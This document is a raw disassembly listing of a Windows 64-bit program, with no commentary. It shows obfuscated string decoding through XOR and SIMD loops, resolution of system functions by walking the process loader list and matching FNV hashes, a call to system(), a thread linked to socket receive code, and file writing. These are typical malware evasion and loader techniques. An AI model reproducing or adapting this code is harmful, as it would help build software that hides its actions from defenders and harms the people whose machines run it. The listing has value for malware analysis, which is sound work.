xor byte [rsp + 0xa3], 0x38
xor byte [rsp + 0xa4], 0x39
xor byte [rsp + 0xa5], 0x3a
xor byte [rsp + 0xa6], 0x3b
xor byte [rsp + 0xa7], 0x3c
xor al, 0x3d
mov byte [rsp + 0xa8], al
lea rdx, [rsp + 0xa0]
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x1400889a0]
movups xmmword [rsp + 0x1d0], xmm0
mov eax, dword [0x1400889b0]
mov dword [rsp + 0x1e0], eax
movzx eax, word [0x1400889b4]
mov word [rsp + 0x1e4], ax
movzx eax, byte [0x1400889b6]
mov byte [rsp + 0x1e6], al
mov ecx, ebx
cmp r12d, 2
jl 0x1400079a1
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x1d0]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140007881
cmp ecx, 0x17
jge 0x1400079dc
movsxd rax, ecx
lea r8, [rsp + 0x1d0]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x17
jl 0x1400079b0
lea rdx, [rsp + 0x1d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [0x14000f700]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x140007a2f
mov r14, 0xffffffffffffffff
test r15b, r15b
je 0x140007cbb
mov rdx, qword [rsp + 0x1a0]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x140007a72
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140074e60
jmp 0x140007cbb
movsd xmm0, qword [0x1400889d0]
movsd qword [rsp + 0x58], xmm0
movzx eax, byte [0x1400889d8]
mov byte [rsp + 0x58], 0xa
xor byte [rsp + 0x59], 0x36
xor byte [rsp + 0x5a], 0x37
xor byte [rsp + 0x5b], 0x38
xor byte [rsp + 0x5c], 0x39
xor byte [rsp + 0x5d], 0x3a
xor byte [rsp + 0x5e], 0x3b
xor byte [rsp + 0x5f], 0x3c
xor al, 0x3d
mov byte [rsp + 0x60], al
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.tZE_XB]
movups xmmword [rsp + 0x1d0], xmm0
movzx eax, word [0x140088b98]
mov word [rsp + 0x1e0], ax
cmp byte [0x140088b99], 0
je 0x140007c8c
mov ecx, ebx
cmp r12d, 2
jl 0x140007c50
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x1d0]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140007b30
cmp ecx, 0x12
jge 0x140007c8c
movsxd rax, ecx
lea r8, [rsp + 0x1d0]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x140007c60
lea rdx, [rsp + 0x1d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [0x14000f700]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x270], rax
mov eax, dword [0x14008898c]
mov dword [rsp + 0x98], eax
movzx ecx, word [0x140088990]
mov word [rsp + 0x9c], cx
movzx eax, byte [0x140088992]
mov byte [rsp + 0x98], gethostname
xor byte [rsp + 0x99], 0x36
xor byte [rsp + 0x9a], 0x37
xor byte [rsp + 0x9b], 0x38
xor cl, 0x39
mov byte [rsp + 0x9c], cl
xor byte [rsp + 0x9d], 0x3a
xor al, 0x3b
mov byte [rsp + 0x9e], al
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], rbx
lea rax, [rsp + 0x98]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140007d60
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x188]
call fcn.140010150
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x600]
call fcn.14001b080
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3e0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140088970]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x140088980]
movsd qword [rsp + 0xc0], xmm0
movzx eax, word [0x140088988]
mov word [rsp + 0xc8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0xca], al
mov r8d, ebx
cmp r12d, 2
jl 0x140007f45
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140007e20
cmp r8d, 0x1b
jge 0x140007f90
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140007f60
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x3e0]
call fcn.14000d5a0
nop
mov r8, qword [rsp + 0x268]
mov rdx, qword [rsp + 0x260]
sub r8, rdx
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x3e8]
call fcn.14000eac0
test rax, rax
jne 0x140007ffd
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x3e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [0x140088900]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088910]
movups xmmword [rsp + 0x120], xmm1
movups xmm0, xmmword [0x140088920]
movups xmmword [rsp + 0x130], xmm0
movsd xmm0, qword [0x140088930]
movsd qword [rsp + 0x140], xmm0
movzx eax, word [0x140088938]
mov word [rsp + 0x148], ax
movzx eax, byte [0x14008893a]
mov byte [rsp + 0x14a], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400081a9
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140008084
cmp r8d, 0x3b
jge 0x1400081f0
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x1400081c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x140008286
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140008286
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + r15]
add rdx, r9
mov r8d, 0xfd0f9940
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008281
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008260
cmp r8d, 0x31eb6041
je 0x14000828b
test r10d, r10d
jne 0x140008240
mov rax, qword [rax]
jmp 0x140008210
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0x110]
call rdx
movups xmm0, xmmword [0x140088bc8]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088bd8]
movups xmmword [rsp + 0x120], xmm1
mov eax, dword [0x140088be8]
mov dword [rsp + 0x130], eax
mov r8d, ebx
cmp r12d, 2
jl 0x140008428
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008303
cmp r8d, 0x24
jge 0x140008470
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140008440
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x140008506
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140008506
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + r15]
add rdx, r9
mov r8d, 0xa04a4038
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008501
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400084e0
cmp r8d, 0xe901d839
je 0x14000850b
test r10d, r10d
jne 0x1400084c0
mov rax, qword [rax]
jmp 0x140008490
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0x110]
call rdx
movups xmm0, xmmword [0x140088aa0]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088ab0]
movups xmmword [rsp + 0x120], xmm1
mov eax, dword [0x140088ac0]
mov dword [rsp + 0x130], eax
mov r8d, ebx
cmp r12d, 2
jl 0x1400086a8
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008583
cmp r8d, 0x24
jge 0x1400086f0
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400086c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x140008786
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x140008786
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + r15]
add rdx, r9
mov r8d, 0xc81b380
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140008781
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008760
cmp r8d, 0x63910e81
je 0x14000878b
test r10d, r10d
jne 0x140008740
mov rax, qword [rax]
jmp 0x140008710
mov edx, dword [rsi + 0x1c]
add rdx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rdx + rax*4]
add rdx, r9
lea rcx, [rsp + 0x110]
call rdx
lea rcx, [0x140088518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, reloc.WS2_32.dll_recv
call fcn.140074b04
mov dword [rax], 5
lea rcx, [0x140004fb0]
mov qword [rax + 8], rcx
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x1b8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140011920]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x1b0], rax
test rax, rax
je 0x140009bf1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2a0], xmm0
mov qword [rsp + 0x2b0], rax
mov eax, dword [0x140088bfc]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140088c00]
mov word [rsp + 0x54], cx
movzx eax, byte [0x140088c02]
mov byte [rsp + 0x50], 0x33
xor byte [rsp + 0x51], 0x36
xor byte [rsp + 0x52], 0x37
xor byte [rsp + 0x53], 0x38
xor cl, 0x39
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x3a
xor al, 0x3b
mov byte [rsp + 0x56], al
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rax, [rsp + 0x50]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400088a0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x110]
call fcn.140010150
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x600]
call fcn.14001b080
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x4f0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.v_fkoPT_SJMc_t_f_a]
movups xmmword [rsp + 0x1d0], xmm0
mov eax, dword [0x140088cf8]
mov dword [rsp + 0x1e0], eax
movzx eax, word [0x140088cfc]
mov word [rsp + 0x1e4], ax
movzx eax, byte [0x140088cfe]
mov byte [rsp + 0x1e6], al
mov r8d, ebx
cmp r12d, 2
jl 0x140008a79
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008954
cmp r8d, 0x17
jge 0x140008ac0
movsxd rax, r8d
lea r9, [rsp + 0x1d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
